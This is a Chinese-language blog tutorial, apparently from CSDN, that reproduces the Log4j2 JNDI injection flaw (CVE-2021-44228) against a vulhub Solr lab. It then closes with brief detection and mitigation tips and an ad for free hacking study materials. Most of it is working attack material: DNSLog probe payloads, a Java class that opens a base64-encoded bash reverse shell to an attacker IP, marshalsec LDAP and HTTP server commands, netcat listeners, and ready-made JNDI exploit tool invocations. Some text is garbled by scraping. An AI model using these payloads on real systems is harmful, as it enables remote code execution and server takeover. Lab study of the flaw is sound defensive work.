asp.net 3.5网站开发全程解析 ,wordpress建设网站的方法,python 如何做网站,室内设计效果图全景图漏洞原理 啥是log4j2? log4j2是apache下的java应用常见的开源日志库#xff0c;是一个就Java的日志记录工具。在log4j框架的基础上进行了改进#xff0c;并引入了丰富的特性#xff0c;可以控制日志信息输送的目的地为控制台、文件、GUI组建等#xff0c;被应用于业务系…漏洞原理啥是log4j2?log4j2是apache下的java应用常见的开源日志库是一个就Java的日志记录工具。在log4j框架的基础上进行了改进并引入了丰富的特性可以控制日志信息输送的目的地为控制台、文件、GUI组建等被应用于业务系统开发用于记录程序输入输出日志信息。啥是JNDI由于漏洞利用会涉及到JNDI注入相关的知识这里简要做一个对JNDI的介绍。JNDI全称为Java命名和目录接口Java Naming and Directory Interface,是SUN公司提供的一种标准的Java命名系统接口允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务本文以LDAP服务为例进行复现。log4j2远程代码执行漏洞原理**cve编号**CVE-2021-44228log4j2框架下的lookup查询服务提供了{}字段解析功能传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制就有可能让查询指向任何服务可能是攻击者部署好的恶意代码。攻击者可以利用这一点进行JNDI注入使得受害者请求远程服务来链接本地对象在lookup的{}里面构造payload调用JNDI服务LDAP向攻击者提前部署好的恶意站点获取恶意的.class对象造成了远程代码执行可反弹shell到指定服务器。画个简单点的漏洞利用示意图如下尽可能画的详细一点大概是下图。攻击者构造payload在JNDI接口lookup查询进行注入payload为${jndi:ldap:恶意url/poc}JNDI会去对应的服务如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap查找资源由于lookup的出栈没做限制最终指向了攻击者部署好的恶意站点下载了远程的恶意class最终造成了远程代码执行rce。靶场搭建靶机Ubuntu 192.168.200.129无所谓是不是Ubuntu随便找个地方用docker启动就行用vulhub靶场搭建首先进入目录CVE-2021-44228中docker启动命令docker-compose up –d查看一下端口Docker-compose up -d发现端口是8983浏览器访问http://192.168.200.129:8983/漏洞检测用dnslog平台检测dns回显看看有没有漏洞存在网址为DNSLog Platform点击Get SubDomin获取一个子域名我这里是3dto27.dnslog.cn在/solr/admin/cores?有个参数可以传这就是个注入点我们试试能不能输出java版本构造payload访问的url如下http://192.168.200.129:8983/solr/admin/cores?actionKaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: {jndi:ldap://{sys:java.version}.3dto27.dnslog.cn }注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞我们将在DNSLog平台看到回显。返回刚才的DNSLog平台点击刷新记录Refresh Record可能比较慢不要着急可以多点几次Refresh Record可以看到有数据在DNS Query Record一栏下面出现了条目回显了java版本1.8.0_102说明存在log4j漏洞。漏洞利用获取反弹shell我第一次复现的时候直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar可以在github上搜一下后文会介绍但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞对漏洞利用的每个步骤好像并不是很明确所以我们还是先不用这种方法还是老老实实自己编写一下恶意代码启动一下恶意的http服务站点和LDAP服务完整的演示一下过程。靶机Ubuntu 192.168.200.129 随便找个地方用docker搭一下就行攻击机 kali 192.168.200.131 无所谓是不是kaliwindows都行方法一编写恶意文件我们先编写以下的恶意文件Exploit.java我们企图反弹shell到kaliip为192.168.200.131的7777端口因此对应的bash命令为bash -i /dev/tcp/192.168.200.131/7777 01然后对上述命令进行base64编码这里给出一个网站可以直接进行payload的编码Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)编码结果为bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}好的有了编码结果我们就可以编写恶意文件了编写以下代码命名为Exploit.java。import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec(/bin/bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e new Exploit(); } }然后我们把Exploit.java编译为Exploit.class最好保证javac的版本为1.8。命令如下javac Exploit.java我是在物理机中编译的编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了需要还原一下手动狗头。把编译好的Exploit.class放到攻击机kali的随便一个目录下并在此目录开启http服务我这里把端口设置为了4444命令如下python -m http.server 4444然后浏览器访问攻击机ip:端口我这里为192.168.200.131:4444 应该可以看到一个目录读者只要保证你的站点目录里有Exploit.class就行至于我目录里有啥其他的读者不用在意。接下来我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启这个工具在我的上一篇博客中有提到详情见(56条消息) Fastjson反序列化漏洞原理与漏洞复现基于vulhub保姆级的详细教程_Bossfrank的博客-CSDN博客下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中我们是用这个工具建立了RMI 服务这次我们是要用这个工具建立LDAP服务。好了废话说完了现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听命令中的1389为LDAP服务的端口你也可以换成别的端口。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://刚才http服务的地址:端口号/#Exploit 1389本例中的命令为java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.200.131:4444/#Exploit 1389接着在攻击机另起一个终端监听之前Exploit.java里面写的反弹shell的端口7777命令为nc -lvvp 7777最后一步也是最关键的一步进行JNDI注入我们在注入点/solr/admin/cores?action构造一个JNDI注入如下${jndi:ldap://192.168.200.131:1389/Exploit}完整的url为http://192.168.200.129:8983/solr/admin/cores?action${jndi:ldap://192.168.200.131:1389/Exploit}也可以用Burp抓包改包但由于是get请求直接输入url就行了。[http://192.168.200.129:8983/solr/admin/cores?action j n d i : l d a p : / / 192.168.200.131 : 1389 / E x p l o i t ] ( h t t p : / / 192.168.200.129 : 8983 / s o l r / a d m i n / c o r e s ? a c t i o n {jndi:ldap://192.168.200.131:1389/Exploit}](http://192.168.200.129:8983/solr/admin/cores?action jndi:ldap://192.168.200.131:1389/Exploit](http://192.168.200.129:8983/solr/admin/cores?action%7Bjndi:ldap://192.168.200.131:1389/Exploit%7D “http://192.168.200.129:8983/solr/admin/cores?action${jndi:ldap://192.168.200.131:1389/Exploit}”)访问上述url别忘了把第一个ip改为靶机ip第二个ip改为之前建立的LDAP服务的地址:端口号应该就成功了访问的页面回显如下攻击机启动的LDAP服务的终端显示如下攻击机开启的HTTP服务的终端显示如下可以看到最后两条日志信息靶机已经通过GET方法请求了我们的恶意代码Exploit.class状态码为200成功响应此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端成功获取了shell:已经可以在攻击机执行任何代码了这样就实现了攻击复现了log4j的远程代码执行漏洞。复现成功之后别忘了用如下命令关闭靶场。docker-compose down方法二直接利用现成的JNDI注入工具这种方法更为便捷属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar项目地址sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)下载之后还要用maven生成.jar可执行文件在pom.xml目录下运行mvn clean package -DskipTests 如果没有mvn参阅(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客如果build成功会生成一个target目录里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar使用这个工具我们就不用自己编写恶意代码.class再上传服务器了直接用这个工具输入对应的命令就行了。与方法一类似我们的目标是反弹shell到目标端口反弹shell的命令为bash -i /dev/tcp/传反弹shell的主机ip/端口号 01本例为一会我们会在攻击机的一个终端监听6666端口bash -i /dev/tcp/192.168.200.131/6666 01还是要对这个命令进行base64编码网址再贴一遍Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)编码后的结果为bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 构造反弹shell的命令的base64编码 -A 攻击机ip本例为java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.200.131运行之后的终端显示如下可以看到这里已经一键部署好了RMI和LDAP服务的站点并给出了路径JDK1.8的版本为ldap://192.168.200.131:1389/ExploitJDK1.7的版本为ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。然后再打开一个终端监听一个端口本例监听的是6666前面的反弹shell命令写的就是6666nc –lvvp 6666最后一步和方法一一样构造payload由于是GET方式浏览器访问以下任意一个url即可http://192.168.200.129:8983/solr/admin/cores?action${jndi:ldap://192.168.200.131:1389/Exploit}http://192.168.200.129:8983/solr/admin/cores?action${jndi:ldap://192.168.200.131:1389/Exploit7}用rmi应该也行http://192.168.200.129:8983/solr/admin/cores?action${rmi:ldap://192.168.200.131:1099/Exploit}http://192.168.200.129:8983/solr/admin/cores?action${rmi:ldap://192.168.200.131:1099/Exploit7}这里以访问LDAP的Exploit为例:JNDI注入工具的终端显示如下打开刚才监听的终端成功获取了反弹shell此时已经可以执行任意命令了这样就利用JNDI注入工具实现了攻击复现了log4j的远程代码执行漏洞。复现成功之后别忘了用如下命令关闭靶场。docker-compose down也可以使用其他的注入工具如JNDIExploit-1.4-SNAPSHOT.jar Github链接WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改这个工具是在攻击机的对应目录运行java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip然后监听个端口7777再浏览器访问http://192.168.200.129:8983/solr/admin/cores?action${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}之后就获得shell了。如下图攻击成功。结语log4j2是2021年底爆出的非常严重的漏洞可谓是风靡一时“血洗互联网”也是安全公司面试的常见题目我们应该了解这个漏洞的原理及利用方式。如何排查是否受到了攻击检查日志中是否存在jndi:ldap://、jndi:rmi//等字符来发现可能的攻击行为前面复现的过程在payload的构造中都出现了这样的字符串这是攻击的典型标志。如何对log4j2的攻击进行防御1.设置log4j2.formatMsgNoLookupsTrue。相当于直接禁止lookup查询出栈也就不可能请求到访问到远程的恶意站点。2.对包含有jndi:ldap://、jndi:rmi//这样字符串的请求进行拦截即拦截JNDI语句来防止JNDI注入。3.对系统进行合理配置禁止不必要的业务访问外网配置网络防火墙,禁止系统主动外连网络等等。4.升级log4j2组件到新的安全的版本。学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。1、知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。2、 部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。1、网络安全意识2、Linux操作系统3、WEB架构基础与HTTP协议4、Web渗透测试5、渗透测试案例分享6、渗透测试实战技巧7、攻防对战实战8、CTF之MISC实战讲解3、适合学习的人群‌一、基础适配人群‌‌零基础转型者‌适合计算机零基础但愿意系统学习的人群资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌‌开发/运维人员‌具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能实现职业方向拓展‌或者转行就业‌应届毕业生‌计算机相关专业学生可通过资料构建完整的网络安全知识体系缩短企业用人适应期‌‌二、能力提升适配‌1、‌技术爱好者‌适合对攻防技术有强烈兴趣希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌2、安全从业者‌帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌3、‌合规需求者‌包含等保规范、安全策略制定等内容适合需要应对合规审计的企业人员‌因篇幅有限仅展示部分资料完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】